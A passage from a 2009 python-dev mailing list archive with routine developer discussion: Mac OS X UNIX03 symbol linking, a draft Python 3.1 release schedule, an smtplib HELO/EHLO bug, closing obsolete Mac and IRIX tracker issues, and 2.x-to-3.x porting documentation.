  * only supports UNIX03 sementics it causes __DARWIN_UNIX03 to be
  * defined, but causes __DARWIN_ALIAS to do no symbol mangling.
  *
  * As a special case, when XCode is used to target a specific version  
of the
  * OS, the manifest constant  
__ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__
  * will be defined by the compiler, with the digits representing  
major version
  * time 100 + minor version times 10 (e.g. 10.5 := 1050).  If we are  
targetting
  * pre-10.5, and it is the default compilation environment, revert the
  * compilation environment to pre-__DARWIN_UNIX03.
  */

Simply put: when a binary is compiled to run on 32-bit 10.4 or earlier  
it will be linked to pre-Unix03 symbols, otherwise it will be linked  
with the Unix'03 compliant symbols/APIs. Some API's just behave  
differently, others have a different signature as well.


>
> So that a Python interpreter compiled for 10.4+ would behave  
> differently
> on a specific 10.5 installation than a Python interpreter compiled for
> 10.5+, on the very same system?
>
> If so, I'm -1 on providing two sets of binaries for the same Python
> version (one in 10.4+ mode and one in 10.5+ mode). Otherwise, this
> sounds like a good source of confusion: "are you using Python 3.1
> as compiled for 10.4 or 3.1 as compiled for 10.5?" - "well, how
> do I tell?"

It should be easy to provide that information.

And anyway, we already have confusion about python builds anyway: the  
python.org, macports and fink builds of python are slightly different  
and some issues seem to crop up with some of the builds more often  
than with others. That is, I sometimes see questions on the pythonmac- 
sig from macports and fink users about issues that I've never run into  
with the python.org build.
>
>
> Is this Apple's DLL hell?

Not quite a hell, but still inconvenient.  I guess it is time to start  
digging to check which API's have a different definition in UNIX03 to  
check if those could affect the behaviour of the Python interpreter.   
I know the value of "GETPGRP_HAVE_ARG" is affected by this, but Python  
scripts are shielded from that because the interface of the posix  
module is the same regardless of the value of this macro.

We'd still end up with a build-hell when we'd want to provide a 4-way  
universal build that can run on 10.4 as well, because 64-bit code is  
always in UNIX03 mode, while 32-bit code that needs to run on 10.4   
cannot be.  I have some idea's about how to work around that issue,  
but need time to investigate the viability of those ideas.

Ronald
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2224 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090215/17948bc5/attachment.bin>

From guido at python.org  Sun Feb 15 17:59:12 2009
From: guido at python.org (Guido van Rossum)
Date: Sun, 15 Feb 2009 08:59:12 -0800
Subject: [Python-Dev] draft 3.1 release schedule
In-Reply-To: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com>
References: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com>
Message-ID: <ca471dc20902150859j32908dbcg1507e48c9a3799e3@mail.gmail.com>

On Sat, Feb 14, 2009 at 12:29 PM, Benjamin Peterson <benjamin at python.org> wrote:
> Here's a very tentative 3.1 release schedule.

Thanks! Glad you're taking your new role of release manager seriously
and are starting to plan ahead.

> 3.1a1 March 7 (Saturday)
> 3.1a2 April 11 (Saturday)
> 3.1b1 May 2 (Saturday)
> 3.1b2 May 23 (Saturday)
> 3.1rc1 June 13 (Saturday)
> 3.1rc2 June 27 (Saturday)

And final release on...?

> I'm interested in your feedback with regards to the amount of time in
> beta and RC phase. Do you think we need that much time? Otherwise, we
> could move the final release back sometime in mid June.

It's a bit hard to compare this to other release schedules because
it's coming much sooner after 3.0. I would guess this means that not
as much has changed, and so the schedule could conceivably more
compressed. If you want to take beta seriously as a time of
consolidation where no new features should be added and no API changes
should take place, you might consider dropping one beta, since in
practice it is often hard to keep developers from wanting to change
stuff anyways.

You might also want to collect a list of serious changes that you want
in this release; I know I/O in C is on the list (and without it I
wouldn't consider it worth releasing) but there may be others. The
developers of such features ought to be on board with delivering their
code before the first beta.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From felix.schwarz at oss.schwarz.eu  Sun Feb 15 17:38:44 2009
From: felix.schwarz at oss.schwarz.eu (Felix Schwarz)
Date: Sun, 15 Feb 2009 17:38:44 +0100
Subject: [Python-Dev] smtplib violates SMTP spec
Message-ID: <49984514.2020404@oss.schwarz.eu>

Hi,

I would like to get attention to issue 4142 [1] which was filed several months 
ago. This is about a clear bug in smtplib's SMTP implementation which is 
probably present since (at least) Python 1.5.

When re-using an smtplib.SMTP instance for a second connection, smtplib does 
not send another HELO/EHLO which is a clear violation of the SMTP specification.

I built a small patch (changes only 2 lines) but I'm unable to write a unit 
test for this easily because:
   * Python's smtpd does not check if HELO/EHLO was received before MAIL FROM
   * Therefore any extension of test_smtplib would need some patches to check
     this also.

However, the patch is very small so it is very easy to test this manually. 
Just connect to a real world smtp (Exim is best because it is quite strict 
when it comes to SMTP verbs).

fs

[1] http://bugs.python.org/issue4142


From aahz at pythoncraft.com  Sun Feb 15 18:10:13 2009
From: aahz at pythoncraft.com (Aahz)
Date: Sun, 15 Feb 2009 09:10:13 -0800
Subject: [Python-Dev] smtplib violates SMTP spec
In-Reply-To: <49984514.2020404@oss.schwarz.eu>
References: <49984514.2020404@oss.schwarz.eu>
Message-ID: <20090215171013.GA831@panix.com>

On Sun, Feb 15, 2009, Felix Schwarz wrote:
>
> I would like to get attention to issue 4142 [1] which was filed several 
> months ago. This is about a clear bug in smtplib's SMTP implementation 
> which is probably present since (at least) Python 1.5.
>
> When re-using an smtplib.SMTP instance for a second connection, smtplib 
> does not send another HELO/EHLO which is a clear violation of the SMTP 
> specification.
>
> I built a small patch (changes only 2 lines) but I'm unable to write a 
> unit test for this easily because:
>   * Python's smtpd does not check if HELO/EHLO was received before MAIL FROM
>   * Therefore any extension of test_smtplib would need some patches to check
>     this also.

If you want to increase the chance of your patch getting into 2.7/3.1,
please provide a patch against smtpd in addition to your smtplib patch.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

Weinberg's Second Law: If builders built buildings the way programmers wrote 
programs, then the first woodpecker that came along would destroy civilization.

From ajaksu at gmail.com  Sun Feb 15 21:13:08 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Sun, 15 Feb 2009 17:13:08 -0300
Subject: [Python-Dev] Closing outdated Mac issues
Message-ID: <2d75d7660902151213o39762e67o1345d82e89bada05@mail.gmail.com>

Hi,

In the discussion of a feature request for MacPython[1], the OP (hhas) said:

    As of Python 2.6/3.0, all Mac-specific modules are deprecated/eliminated
    from the standard library and there are no longer any plans to submit
    appscript for possible inclusion. This issue should be rejected and
    closed.

If that is the current state of Mac modules, there are no less than 17
issues* that should be closed, 4 bug reports** that might be kept open
and 4 mixed-cases*** that might be obsolete/irrelevant.

Besides amounting to 1% of open issues, these can divert efforts to
bogus issues: I've submitted a patch for one of the mixed-cases (bug +
feature request), but now don't think it was worth it.

So, if someone could reassure / clarify the rules for closing these in
general and/or take a quick look at specific issues, that would be a
great help.

Issue lists below.

Regards,
Daniel

[1] http://bugs.python.org/issue916013

* Feature requests and implementation polishing issues:

http://bugs.python.org/issue706585 Expose FinderInfo in FSCatalogInfo

http://bugs.python.org/issue706592 Carbon.File.FSSpec should accept
non-existing pathnames

http://bugs.python.org/issue776533 Carbon.Snd module SPB constructor shadowed

http://bugs.python.org/issue779285 Carbon Event ReceiveNextEvent

http://bugs.python.org/issue806149 aetools.TalkTo methods can be obscured

http://bugs.python.org/issue822005 Carbon.CarbonEvt.ReceiveNextEvent args wrong

http://bugs.python.org/issue852150 Can't send Apple Events without
WindowServer connection

http://bugs.python.org/issue853656 Carbon.CF.CFURLRef should be easier to create

http://bugs.python.org/issue869649 Quicktime missing funcitonality

http://bugs.python.org/issue878560 Add a console window for Carbon
MacPython applets

http://bugs.python.org/issue881824 Add ResolveFinderAliases to macostools module

http://bugs.python.org/issue1089399 Carbon.Res misses GetIndString

http://bugs.python.org/issue1089624
Carbon.File.FSCatalogInfo.createDate implementation

http://bugs.python.org/issue1090958 _AEModule.c patch

http://bugs.python.org/issue1113328 OSATerminology still semi-broken

http://bugs.python.org/issue1169679 modules missing from list of Carbon modules

http://bugs.python.org/issue1254695 QuickTime API needs corrected object types


** Bug reports, might be worth fixing in 2.6:

http://bugs.python.org/issue1004810 Carbon.File fails if server vol is
mounted after launch

http://bugs.python.org/issue1123727 gensuitemodule.processfile fails

http://bugs.python.org/issue1700507 Carbon.Scrap.PutScrapFlavor

http://bugs.python.org/issue1155 Carbon.CF memory management problem


** Probably out of  date, irrelevant or both:

http://bugs.python.org/issue779153 bgen requires Universal Headers,
not OS X dev headers

http://bugs.python.org/issue602291 Bgen should learn about booleans

http://bugs.python.org/issue775321 plistlib error handling

http://bugs.python.org/issue985064 plistlib crashes too easily on bad files

From brett at python.org  Sun Feb 15 21:43:59 2009
From: brett at python.org (Brett Cannon)
Date: Sun, 15 Feb 2009 12:43:59 -0800
Subject: [Python-Dev] Closing outdated Mac issues
In-Reply-To: <2d75d7660902151213o39762e67o1345d82e89bada05@mail.gmail.com>
References: <2d75d7660902151213o39762e67o1345d82e89bada05@mail.gmail.com>
Message-ID: <bbaeab100902151243m44eec4eex35417cbcc56bef2a@mail.gmail.com>

On Sun, Feb 15, 2009 at 12:13, Daniel (ajax) Diniz <ajaksu at gmail.com> wrote:

> Hi,
>
> In the discussion of a feature request for MacPython[1], the OP (hhas)
> said:
>
>    As of Python 2.6/3.0, all Mac-specific modules are deprecated/eliminated
>    from the standard library and there are no longer any plans to submit
>    appscript for possible inclusion. This issue should be rejected and
>    closed.
>
> If that is the current state of Mac modules, there are no less than 17
> issues* that should be closed, 4 bug reports** that might be kept open
> and 4 mixed-cases*** that might be obsolete/irrelevant.
>
> Besides amounting to 1% of open issues, these can divert efforts to
> bogus issues: I've submitted a patch for one of the mixed-cases (bug +
> feature request), but now don't think it was worth it.
>
> So, if someone could reassure / clarify the rules for closing these in
> general and/or take a quick look at specific issues, that would be a
> great help.
>

As of Python 2.6 everything Mac-specific is deprecated and in 3.0 they are
gone (you can read PEP 3108 for the details or just note that the
Mac/Modules directory is gone in 3.0). They will still be around in 2.7,
though, as these are Py3K deprecations. Not sure what has been left in the
Mac directory, but I think it is just random scripts (I never use the
Mac-specific stuff so I don't know how useful some of them are to keep).

Honestly, fixing them is fine but since the modules are deprecated but still
in existence in 2.x, but they are definitely nothing above a normal priority
issue.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090215/2cb74fbd/attachment.htm>

From ajaksu at gmail.com  Mon Feb 16 00:13:00 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Sun, 15 Feb 2009 20:13:00 -0300
Subject: [Python-Dev] .Idle.py init file
In-Reply-To: <p06240806c5ba5372397f@10.0.1.221>
References: <p06240806c5ba5372397f@10.0.1.221>
Message-ID: <2d75d7660902151513o79bf92e2r7744ff5c714bb280@mail.gmail.com>

Mitchell,

I can't find the string ".Idle.py" in trunk. If you haven't already,
please open a documentation issue for this one. I don't see any
obvious downside to this behavior and people might be relying on it by
now.

Thanks for  reporting these IDLE issues!

Daniel

From ajaksu at gmail.com  Mon Feb 16 00:17:25 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Sun, 15 Feb 2009 20:17:25 -0300
Subject: [Python-Dev] Closing outdated Mac issues
In-Reply-To: <2d75d7660902151351j2a5b9203x1ec179e25095b874@mail.gmail.com>
References: <2d75d7660902151213o39762e67o1345d82e89bada05@mail.gmail.com>
	<bbaeab100902151243m44eec4eex35417cbcc56bef2a@mail.gmail.com>
	<2d75d7660902151351j2a5b9203x1ec179e25095b874@mail.gmail.com>
Message-ID: <2d75d7660902151517p22440361u76f686dc2f0e1e4e@mail.gmail.com>

Looks like the MDS ate the copy sent to the list, here's it again:

Brett Cannon wrote:
> As of Python 2.6 everything Mac-specific is deprecated and in 3.0 they
> are gone (you can read PEP 3108 for the details or just note that the
> Mac/Modules directory is gone in 3.0). They will still be around in 2.7,
> though, as these are Py3K deprecations.

OK, I've now read PEPs 3108 and 11, but still would like some ruling
about RFEs in these stagnated Mac modules. Maybe PEP 4 could include a
note about RFEs in deprecated modules?

> Not sure what has been left in
> the Mac directory, but I think it is just random scripts (I never use
> the Mac-specific stuff so I don't know how useful some of them are to
> keep).

There are 40 C files, two headers and 69 python files in /Mac in
trunk. The 2.6 (and 2.5.x) docs say development has stopped and that
they'd be replaced in 2.5. So ISTM closing RFEs for these modules
would be an improvement.

> Honestly, fixing them is fine but since the modules are deprecated but
> still in existence in 2.x, but they are definitely nothing above a
> normal priority issue.

OK, I'll let the bug reports open. What about RFEs?

Daniel

From benjamin at python.org  Mon Feb 16 00:23:22 2009
From: benjamin at python.org (Benjamin Peterson)
Date: Sun, 15 Feb 2009 17:23:22 -0600
Subject: [Python-Dev] draft 3.1 release schedule
In-Reply-To: <ca471dc20902150859j32908dbcg1507e48c9a3799e3@mail.gmail.com>
References: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com>
	<ca471dc20902150859j32908dbcg1507e48c9a3799e3@mail.gmail.com>
Message-ID: <1afaf6160902151523k6ca3bd9bwab7eea0ee13aeaa3@mail.gmail.com>

On Sun, Feb 15, 2009 at 10:59 AM, Guido van Rossum <guido at python.org> wrote:
> On Sat, Feb 14, 2009 at 12:29 PM, Benjamin Peterson <benjamin at python.org> wrote:
>> 3.1a1 March 7 (Saturday)
>> 3.1a2 April 11 (Saturday)
>> 3.1b1 May 2 (Saturday)
>> 3.1b2 May 23 (Saturday)
>> 3.1rc1 June 13 (Saturday)
>> 3.1rc2 June 27 (Saturday)
>
> And final release on...?

Oops! Forgot about that one. :) July 4th.

>> I'm interested in your feedback with regards to the amount of time in
>> beta and RC phase. Do you think we need that much time? Otherwise, we
>> could move the final release back sometime in mid June.
>
> It's a bit hard to compare this to other release schedules because
> it's coming much sooner after 3.0. I would guess this means that not
> as much has changed, and so the schedule could conceivably more
> compressed. If you want to take beta seriously as a time of
> consolidation where no new features should be added and no API changes
> should take place, you might consider dropping one beta, since in
> practice it is often hard to keep developers from wanting to change
> stuff anyways.

Something like this?

3.1a1 March 7
3.1a2 April 4
3.1b1 May 2
3.1rc1 May 30
3.1rc2 June 13
3.1 Final June 27

That sounds reasonable. I will try to enforce a fairly strict
stability policy during the beta and RCs.

> You might also want to collect a list of serious changes that you want
> in this release; I know I/O in C is on the list (and without it I
> wouldn't consider it worth releasing) but there may be others. The
> developers of such features ought to be on board with delivering their
> code before the first beta.

I've started a list on the release PEP [1].

[1] http://www.python.org/dev/peps/pep-0375/



--
Regards,
Benjamin

From nad at acm.org  Mon Feb 16 03:58:51 2009
From: nad at acm.org (Ned Deily)
Date: Sun, 15 Feb 2009 18:58:51 -0800
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-34F90E.03222214022009@news.gmane.org>
	<e8a0972d0902141101x4ec55722ud7cf9f861937aba6@mail.gmail.com>
Message-ID: <nad-621BC9.18585015022009@news.gmane.org>

In article 
<e8a0972d0902141101x4ec55722ud7cf9f861937aba6 at mail.gmail.com>,
 Alex Martelli <aleaxit at gmail.com> wrote:
> On Sat, Feb 14, 2009 at 3:22 AM, Ned Deily <nad at acm.org> wrote:
>    ...
> > have done complete and thorough testing.  (In particular, I have no
> > access to a G5 for 64-bit PPC testing.)
> I have a PowerMac G5 at home and I'll be glad to run tests if it
> helps.

Thanks, Alex.  I'll contact you off-list about this.

-- 
 Ned Deily,
 nad at acm.org


From skip at pobox.com  Mon Feb 16 03:59:43 2009
From: skip at pobox.com (skip at pobox.com)
Date: Sun, 15 Feb 2009 20:59:43 -0600
Subject: [Python-Dev] No 2.x->3.x porting documentation?
Message-ID: <18840.54943.213210.118607@montanaro.dyndns.org>

I apologize if this has been discussed here or elsewhere already.  I'm
offline as I write this so my only source of guidance is what I find in my
Subversion checkouts.

I'm making a naive stab at converting nose to Python3 so I can hopefully run
the lockfile test cases under Python 3.  (Again, I'm offline and have no
idea at this point if it's been done already.)  I ran 2to3 then tried
installing.  I got an immediate error about the compiler.consts module being
missing.  (All nose does is import CO_GENERATOR from compiler.consts.)  I
found that in the inspect module.  Then it complained about ClassType being
missing from the types module.  I found no mention of changes to the types
module in Misc/NEWS or Doc/whatsnew/3.0.rst.  I didn't find anything which
looked like a "porting" document.

If neither of these changes could be handled by 2to3 I think it would have
been useful to at least document the changes (in whatsnew/3.0.rst?) and
maybe offer humans some workaround ideas.  If there is a wiki page
collecting porting wisdom it should be referenced.  If I'm missing something
fundamental about how people are expected to approach porting 2.x code to
3.x, please let me know.

Thanks,

Skip


From benjamin at python.org  Mon Feb 16 04:05:57 2009
From: benjamin at python.org (Benjamin Peterson)
Date: Sun, 15 Feb 2009 21:05:57 -0600
Subject: [Python-Dev] No 2.x->3.x porting documentation?
In-Reply-To: <18840.54943.213210.118607@montanaro.dyndns.org>
References: <18840.54943.213210.118607@montanaro.dyndns.org>
Message-ID: <1afaf6160902151905y59c34034r180f7833ca81c28f@mail.gmail.com>

On Sun, Feb 15, 2009 at 8:59 PM,  <skip at pobox.com> wrote:
> If neither of these changes could be handled by 2to3 I think it would have
> been useful to at least document the changes (in whatsnew/3.0.rst?) and
> maybe offer humans some workaround ideas.  If there is a wiki page
> collecting porting wisdom it should be referenced.  If I'm missing something
> fundamental about how people are expected to approach porting 2.x code to
> 3.x, please let me know.

All your points are valid. See http://wiki.python.org/moin/PortingToPy3k

Please contribute if you can!



-- 
Regards,
Benjamin

From nad at acm.org  Mon Feb 16 04:15:17 2009
From: nad at acm.org (Ned Deily)
Date: Sun, 15 Feb 2009 19:15:17 -0800
Subject: [Python-Dev] RELEASED Python 3.0.1
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
Message-ID: <nad-2D157E.19151715022009@news.gmane.org>

In article 
<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe at mail.gmail.com>,
 Benjamin Kaplan <benjamin.kaplan at case.edu> wrote:
> Any chance of getting a Mac installer for this one?

BTW, I see the a link to the OS X installer has now been added to the 
3.0.1 release page:
   <http://www.python.org/download/releases/3.0.1/>

It would be great if someone could add OS X links for the 3.0.1 and 
2.6.1 to the main download page, too:
   <http://www.python.org/download/>

-- 
 Ned Deily,
 nad at acm.org


From nad at acm.org  Mon Feb 16 04:44:07 2009
From: nad at acm.org (Ned Deily)
Date: Sun, 15 Feb 2009 19:44:07 -0800
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-34F90E.03222214022009@news.gmane.org>
	<6FC960B6-7723-4887-9342-FAC4D0C936C3@mac.com>
Message-ID: <nad-475823.19440715022009@news.gmane.org>

In article <6FC960B6-7723-4887-9342-FAC4D0C936C3 at mac.com>,
 Ronald Oussoren <ronaldoussoren at mac.com> wrote:
> I'll be at Pycon and part of post-pycon sprint days (I'm flying back  
> on april 1st).  I had already planned to try to get a mac-related  
> sprint going at pycon, I've added work on this on the list of possible  
> topics.

Sounds like there will be no lack of things to talk about at Pycon!

Thanks to everyone for their input on this.  And congratulations on 
getting 3.0.1 - with OS X support - out there.

-- 
 Ned Deily,
 nad at acm.org


From nad at acm.org  Mon Feb 16 05:09:14 2009
From: nad at acm.org (Ned Deily)
Date: Sun, 15 Feb 2009 20:09:14 -0800
Subject: [Python-Dev] Closing outdated Mac issues
References: <2d75d7660902151213o39762e67o1345d82e89bada05@mail.gmail.com>
	<bbaeab100902151243m44eec4eex35417cbcc56bef2a@mail.gmail.com>
	<2d75d7660902151351j2a5b9203x1ec179e25095b874@mail.gmail.com>
	<2d75d7660902151517p22440361u76f686dc2f0e1e4e@mail.gmail.com>
Message-ID: <nad-20197E.20091415022009@news.gmane.org>

In article 
<2d75d7660902151517p22440361u76f686dc2f0e1e4e at mail.gmail.com>,
 "Daniel (ajax) Diniz" <ajaksu at gmail.com> wrote:
> Brett Cannon wrote:
> > As of Python 2.6 everything Mac-specific is deprecated and in 3.0 they
> > are gone (you can read PEP 3108 for the details or just note that the
> > Mac/Modules directory is gone in 3.0). They will still be around in 2.7,
> > though, as these are Py3K deprecations.
> OK, I've now read PEPs 3108 and 11, but still would like some ruling
> about RFEs in these stagnated Mac modules. Maybe PEP 4 could include a
> note about RFEs in deprecated modules?
> > Not sure what has been left in
> > the Mac directory, but I think it is just random scripts (I never use
> > the Mac-specific stuff so I don't know how useful some of them are to
> > keep).

Other than Mac/Modules, the rest of the Mac/ directory is mainly stuff 
used for building or going into the OS X installer images, including 
things like IDLE.app.  These are used in 2.x and in 3.x.
 
> There are 40 C files, two headers and 69 python files in /Mac in
> trunk. The 2.6 (and 2.5.x) docs say development has stopped and that
> they'd be replaced in 2.5. So ISTM closing RFEs for these modules
> would be an improvement.
> 
> > Honestly, fixing them is fine but since the modules are deprecated but
> > still in existence in 2.x, but they are definitely nothing above a
> > normal priority issue.
> OK, I'll let the bug reports open. What about RFEs?

I think the reasonable thing to do is close them as "not to be 
fixed/implemented".  At this point, the chances that someone would fix 
them are pretty slim and, in many cases, I'm sure the module is either 
obsolete because other, and better supported, solutions are now 
available, like PyObjC or appscript.  If people feel strongly about an 
issue, they can always ask to re-open it.

Taking a quick look at your list, the only ones that may be worth 
looking at are the plistlib ones since it lives on in 3.x.  I think all 
the rest are deprecated and gone in 3.x.

-- 
 Ned Deily,
 nad at acm.org


From martin at v.loewis.de  Mon Feb 16 10:29:46 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 16 Feb 2009 10:29:46 +0100
Subject: [Python-Dev] No 2.x->3.x porting documentation?
In-Reply-To: <18840.54943.213210.118607@montanaro.dyndns.org>
References: <18840.54943.213210.118607@montanaro.dyndns.org>
Message-ID: <4999320A.2060705@v.loewis.de>

> I'm making a naive stab at converting nose to Python3 so I can hopefully run
> the lockfile test cases under Python 3.  (Again, I'm offline and have no
> idea at this point if it's been done already.)  I ran 2to3 then tried
> installing.  I got an immediate error about the compiler.consts module being
> missing.  (All nose does is import CO_GENERATOR from compiler.consts.)  I
> found that in the inspect module.  Then it complained about ClassType being
> missing from the types module.  I found no mention of changes to the types
> module in Misc/NEWS or Doc/whatsnew/3.0.rst.  I didn't find anything which
> looked like a "porting" document.
> 
> If neither of these changes could be handled by 2to3 I think it would have
> been useful to at least document the changes (in whatsnew/3.0.rst?) and
> maybe offer humans some workaround ideas.  If there is a wiki page
> collecting porting wisdom it should be referenced.  If I'm missing something
> fundamental about how people are expected to approach porting 2.x code to
> 3.x, please let me know.

I think you are missing the fact that it is nearly impossible to produce
a complete list of changes between 2.x and 3.x, or, if such a list would
be produced, it would have the size of the unified diff between the
source trees.

Instead, porters are expected to think a bit on what might have been the
most natural cause for a change (of course, some changes are arbitrary
and have no cause other than personal taste). For example, ClassType
used to be the type of old-style classes. Now that old-style classes are
gone, ClassType is gone as well (FWIW in 59217, and indeed without a
mentioning in NEWS, or even in the commit message). The removal of the
compiler package is mentioned in NEWS:

http://svn.python.org/view/python/branches/p3yk/Misc/NEWS?rev=55322&view=markup

Regards,
Martin

From solipsis at pitrou.net  Mon Feb 16 12:33:14 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Mon, 16 Feb 2009 11:33:14 +0000 (UTC)
Subject: [Python-Dev] No 2.x->3.x porting documentation?
References: <18840.54943.213210.118607@montanaro.dyndns.org>
Message-ID: <loom.20090216T113210-923@post.gmane.org>

<skip <at> pobox.com> writes:
> 
> I'm making a naive stab at converting nose to Python3 so I can hopefully run
> the lockfile test cases under Python 3.

Apparently, Jason Pellerin has started a py3k branch for the same purpose:
http://groups.google.com/group/nose-dev/browse_thread/thread/621c3767bbce3abc
https://python-nose.googlecode.com/svn/branches/py3k

Regards

Antoine.



From dalcinl at gmail.com  Mon Feb 16 14:13:35 2009
From: dalcinl at gmail.com (Lisandro Dalcin)
Date: Mon, 16 Feb 2009 11:13:35 -0200
Subject: [Python-Dev] Adding T_SIZET to structmember.h
In-Reply-To: <499611E6.1020104@v.loewis.de>
References: <e7ba66e40902121242x2180b51drcb7de29b00a5548a@mail.gmail.com>
	<5c6f2a5d0902130715x4d4f4beet7d936f9c549a1335@mail.gmail.com>
	<e7ba66e40902130744s4a14c9a0n5dfed4b5905775d5@mail.gmail.com>
	<499611E6.1020104@v.loewis.de>
Message-ID: <e7ba66e40902160513p3c3f7bc8i3de0716c8f39a0c6@mail.gmail.com>

Martin, I was not clear enough. Please, just tell me: Do you believe
that this addition do make sense? Would you reject it for some reason
(other than a bad patch) ?

On Fri, Feb 13, 2009 at 10:35 PM, "Martin v. L?wis" <martin at v.loewis.de> wrote:
>> Mark, the patch is not trivial, I cannot spend time on this until this
>> is accepted. Hope you understand.
>
> I certainly do understand. So it's likely not going to happen.
>
> Regards,
> Martin
>



-- 
Lisandro Dalc?n
---------------
Centro Internacional de M?todos Computacionales en Ingenier?a (CIMEC)
Instituto de Desarrollo Tecnol?gico para la Industria Qu?mica (INTEC)
Consejo Nacional de Investigaciones Cient?ficas y T?cnicas (CONICET)
PTLC - G?emes 3450, (3000) Santa Fe, Argentina
Tel/Fax: +54-(0)342-451.1594

From benjamin at python.org  Mon Feb 16 17:54:43 2009
From: benjamin at python.org (Benjamin Peterson)
Date: Mon, 16 Feb 2009 10:54:43 -0600
Subject: [Python-Dev] RELEASED Python 3.0.1
In-Reply-To: <nad-2D157E.19151715022009@news.gmane.org>
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-2D157E.19151715022009@news.gmane.org>
Message-ID: <1afaf6160902160854u6cf8c81ck219cbc7fddafdd3f@mail.gmail.com>

On Sun, Feb 15, 2009 at 9:15 PM, Ned Deily <nad at acm.org> wrote:
>
> It would be great if someone could add OS X links for the 3.0.1 and
> 2.6.1 to the main download page, too:
>   <http://www.python.org/download/>

I've now added them to the main download page.




-- 
Regards,
Benjamin

From ziade.tarek at gmail.com  Mon Feb 16 17:54:47 2009
From: ziade.tarek at gmail.com (=?ISO-8859-1?Q?Tarek_Ziad=E9?=)
Date: Mon, 16 Feb 2009 17:54:47 +0100
Subject: [Python-Dev] Mark old distutils as deprecated
In-Reply-To: <49904AB6.30205@egenix.com>
References: <94bdd2610902080215u744941adwa5119eb22827029e@mail.gmail.com>
	<49904AB6.30205@egenix.com>
Message-ID: <94bdd2610902160854u1d1c3273v4b6649266560b5df@mail.gmail.com>

2009/2/9 M.-A. Lemburg <mal at egenix.com>:
> On 2009-02-08 11:15, Tarek Ziad? wrote:
>> Hello
>>
>> To avoid confusion, as suggested by Akira who works on cleaning the
>> Distutils pages on the python.org website,
>> I would like to move http://svn.python.org/view/distutils/trunk into a
>> branch and add a README.txt in an empty trunk
>> to explain the current status of the package.
>>
>> Any objection ?
>
> No.
>
> It be worthwhile keeping just the setup code and adjust that
> to take the distutils package from the python/ dir in order to
> build separate releases of the code for upload to PyPI (ones
> that basically provide the code as released in Python 2.x as
> separate download for 2.(x-1) and 2.(x-2)).

Indeed, and for any Python version in fact, to get early feedbacks
between two Python releases.

I will make releases as you mentioned, and also a development release
using the svn revision,
so people can try out the current trunk.

>>> '%sdev-r69676' % sys.version.split()[0]
'2.7a0dev-r69676'

Regards
Tarek

-- 
Tarek Ziad? | Association AfPy | www.afpy.org
Blog FR | http://programmation-python.org
Blog EN | http://tarekziade.wordpress.com/

From ajaksu at gmail.com  Mon Feb 16 18:41:36 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Mon, 16 Feb 2009 14:41:36 -0300
Subject: [Python-Dev] Irix still supported? (was Re: Tracker archeology)
In-Reply-To: <2d75d7660902141014m67a50baftba0058b9505978b9@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<49946F61.6020803@v.loewis.de>
	<2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com>
	<499509FA.5030607@v.loewis.de>
	<2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com>
	<49960207.3070507@v.loewis.de>
	<2d75d7660902132145o44a8351k94ac8b3d76aa6937@mail.gmail.com>
	<4996CE7C.9080109@v.loewis.de> <gn6to6$2ed$1@ger.gmane.org>
	<2d75d7660902141014m67a50baftba0058b9505978b9@mail.gmail.com>
Message-ID: <2d75d7660902160941u1fb45d71t64d088ad4aef9292@mail.gmail.com>

Daniel (ajax) Diniz wrote:
> Can I close these other IRIX issues?
>
> http://bugs.python.org/issue2048
> http://bugs.python.org/issue1086642
> http://bugs.python.org/issue1178510
> http://bugs.python.org/issue1070140

So, I'll close these later this week (citing that "Irix is long dead
and we don't support it in any form or version") unless opposition  is
voiced :)

Daniel

From ajaksu at gmail.com  Mon Feb 16 18:50:06 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Mon, 16 Feb 2009 14:50:06 -0300
Subject: [Python-Dev] Issues to be closed: objections?
Message-ID: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com>

Hi,
I've marked some issues (25 now) to close, mostly because:
- there was no reply from OP, nor a clear justification for the issue;
- there are messages explaining why the issue is invalid;
- the OSes/versions of the report suggest the issue is currently invalid;

However, I've been mistaken about the desirability of leaving an issue
open a couple of times in last days. So, I'd really appreciate if
someone could take a quick look at the issues below to avoid any
undesirable closing.

I'll also mark them as pending later today, and plan to wait until the
weekend before closing. Any suggestion/criticism about this plan would
be welcome too.

Thanks everybody for all the support, helping, patience and enduring the spam!

Daniel

http://bugs.python.org/issue1231081 platform.processor() could be smarter

